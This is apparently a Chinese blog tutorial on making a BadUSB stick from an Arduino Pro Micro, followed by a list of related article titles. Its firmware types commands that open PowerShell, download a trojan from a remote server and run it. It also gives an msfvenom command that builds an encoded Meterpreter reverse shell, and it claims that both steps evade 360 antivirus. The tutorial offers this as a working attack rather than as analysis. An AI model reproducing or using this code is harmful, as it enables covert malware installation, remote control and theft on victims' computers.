漏洞背景

是今年计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在今年的BlackHat安全大会上公布。BadUsb号称是世界上最邪恶的USB外设。笔者使用他们的代码做了个类似的U盘,用户插入U盘,就会自动执行预置在固件中的恶意代码,下载服务器上恶意文件,执行恶意操作….

硬件准备

这里我们使用的是:
BS Micro pro micro leonardo Arduino 开发板(某宝里面买的)

硬件代码

#include <Keyboard.h>
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press(‘r’);//r键
delay(300);
Keyboard.release(KEY_LEFT_GUI);//释放win 键
Keyboard.release(‘r’);//释放R键
Keyboard.press(KEY_CAPS_LOCK);//切换大小写,绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println(“cmd “);
delay(200);
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println(“powershell “);
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println(“$clnt = new-object System.Net.WebClient; “);
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println(“$url= ‘**********木马地址******’; “);
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println(“$file = ‘ D:\\server.exe’; “);
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println(“$clnt.DownloadFile($url,$file); “);
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println(“START D:\\server.exe “);
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.end();//结束键盘通讯}void loop()//循环{}

注:我们通过分步进行cmd批处理里面的powershell 命令,这样可以绕过杀毒软件的拦截。

木马地址:是我们已经将做好的木马放在外网服务器的地址,对于木马的制作我下面会讲

木马制作(可绕过360检测)

使用工具:kali系统、vc++6.0

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ lhost=192.168.1.157 lport=5555 -f c -o /root/Desktop/sha.c

e参数指定编码方式,i参数指定编码次数,b参数去除指定代码,一般是空代码或者错误代码, lhost本机地址,lport监听的端口,-f指定生成格式,-o指定输出路径。

执行上述代码之后,会生成sha.c,名字可以随意,

打开sha.c文件,其中代码为:
再将代码用vc++做成软件(注意要c语言的头文件,c语言基础)即可…亲自检测可以绕过360检测

目标机运行木马程序程序,就能拿到shell

补充arduino按键代码delay(5000);//延时毫秒Keyboard.begin(); //开始键盘通讯
Keyboard.end(); //结束键盘通讯
Keyboard.press(); //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来
Keyboard.release(); //释放键盘按键
Keyboard.println(“”); //输入字符串使用双引号括起来Mouse.begin();//鼠标事件开始
Mouse.click();//鼠标单击
Mouse.end();//鼠标事件结束
Mouse.move();//鼠标移动(x,y)
Mouse.press();//鼠标按下
Mouse.release();//鼠标松开
Mouse.isPressed();//KEY_LEFT_CTRL
KEY_LEFT_SHIFT
KEY_LEFT_ALT
KEY_LEFT_GUI //win键
KEY_RIGHT_CTRL
KEY_RIGHT_SHIFT
KEY_RIGHT_ALT
KEY_RIGHT_GUI
KEY_UP_ARROW
KEY_DOWN_ARROW
KEY_LEFT_ARROW
KEY_RIGHT_ARROW
KEY_BACKSPACE
KEY_TAB
KEY_RETURN//回车键
KEY_ESC
KEY_INSERT
KEY_DELETE
KEY_PAGE_UP
KEY_PAGE_DOWN
KEY_HOME
KEY_END
KEY_CAPS_LOCK
KEY_F1
KEY_F2
KEY_F3
KEY_F4
KEY_F5
KEY_F6
KEY_F7
KEY_F8
KEY_F9
KEY_F10
KEY_F11
KEY_F12

系统安全-BadUsb代码以及木马远控的制作(可绕过360)相关推荐

  1. 糟糕!原来你的电脑就是这样被木马远控了

    作者 | 杨秀璋,责编 | 夕颜 出品 | CSDN博客 头图 | 视觉中国 这篇文章将详细讲解远控木马及APT攻击中的远控,包括木马的基本概念和分类.木马的植入方式.远控木马的通信方式.APT攻击与 ...

  2. 手机木马远控安卓设备

    前言: 经常看到大佬写木马,写病毒,很多朋友肯定是心动不已.这次介绍个工具,可以直接生成远控木马. 工具: LX 远控(telegram 直接搜 频道):Windows系统pc机 绕过银行应用程序的黑 ...

  3. linux常用免杀,【kali linux】详细分析两个免杀远控 了解远控和免杀原理

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 Hi 大家好 我是杰爱蓝莓 今天起跟大家从源代码分析两个免杀的远控 让大家能够了解远控程序的原理,以及免杀技术实现的一些原理 两个远控 1:用Python ...

  4. 使用Java制作一个简易的远控终端

    使用Java制作一个简易的远控终端 远控终端的本质 1.服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息 2.客户端执行消息内容(即执行服务端 ...

  5. 使用python制作一个简易的远控终端

    使用python制作一个简易的远控终端 远控终端的本质 1.服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息 2.客户端执行消息内容(即执行服 ...

  6. “白加黑”远控木马技术分析及手杀方案

    "白加黑"是民间对一种DLL劫持技术的通俗称呼,现在很多恶意程序利用这种劫持技术来绕过安全软件的主动防御以达到加载自身的目的,是目前很火的一种免杀手段.本文将针对此类病毒做了一个简 ...

  7. 关于一款远控木马的简单分析

    其实很多朋友都不明白木马是如何简简单单的窃取了你的帐号密码乃至你的网银帐号,趁其你使用网银U盾还没有拔下来,直接操纵你的计算机进行转账,或者更高级的在你转账之时修改网页内容,甚至在你不知不觉中开启你计 ...

  8. “大灰狼”远控木马分析及幕后真凶调查

    9月初360安全团队披露bt天堂网站挂马事件,该网站被利用IE神洞CVE-2014-6332挂马,如果用户没有打补丁或开启安全软件防护,电脑会自动下载执行大灰狼远控木马程序. 鉴于bt天堂电影下载网站 ...

  9. 远控免杀从入门到实践(6)-代码篇-Powershell

    郑重声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!  <远控免杀从入门到实践>系列文章目录: 1.远控免杀从 ...

最新文章

  1. linux发挥显卡性能,Linux Kernel 2.6.30下Intel显卡性能有大幅提升!
  2. 将数据库设置为运行在限制模式下
  3. Extract Subclass(提炼子类)
  4. 非你莫属 java全球排名_TIOBE:2018年5月全球编程语言排行榜
  5. FCPX插件Titles Set for Mac - 三合一黑白文本标题模板
  6. long 和 Object的相互转换
  7. 详解CSS的Flex布局
  8. (翻译)《介绍 GENEVA Beta 1 白皮书》(3)
  9. 年轻设计师之于《未来产品的设计》
  10. chrome应用商店打不开_Chrome 浏览器必备“扩展管理工具”,一键管理 Chrome 扩展...
  11. 太原理工软件学院c语言2020,庆祝软件学院成立十周年创意设计之logo投稿入围展示...
  12. cox回归模型python实现_生存分析Cox回归模型(比例风险模型)的spss操作实例
  13. SubsamplingScaleImageView + Glide显示网络超大图片
  14. 线性高电压稳压器的制作
  15. Pandas基础操作(上)
  16. 教程 | 使用小O地图制作文字标注地图
  17. P1328 [NOIP2014 提高组] 生活大爆炸版石头剪刀布
  18. Spring Cloud Contract简单入门
  19. 炫龙笔记本组合快捷键
  20. createjs之easeljs【游戏围住神经猫】

热门文章

  1. Java Web中的EL(表达式语言)详解
  2. 在Jackson中使用树模型节点JsonNode
  3. uniapp实现顶部导航栏背景图片渐隐渐现效果
  4. 人体时钟插件honehoneclock
  5. html中给表格添加斜线
  6. [Repeater]三个事件的执行先后?ItemDataBound / ItemCreated / ItemCommand
  7. Aliexpress Plugin 全球速卖通Wordpress 软件
  8. R7-3 统计满足特定条件的字符数​输入字符串A(没有重复字符),输入字符串B,求在字符串A中字符的个数,这些字符必须同时又在字符串B中。提示:用in运算符。输入格式:一行输入字符串A。一行
  9. Profinet相关通讯协议分布式 I /O 的缩略语和符合(中英文描述)
  10. 关于MES与设备集成方式及注意项目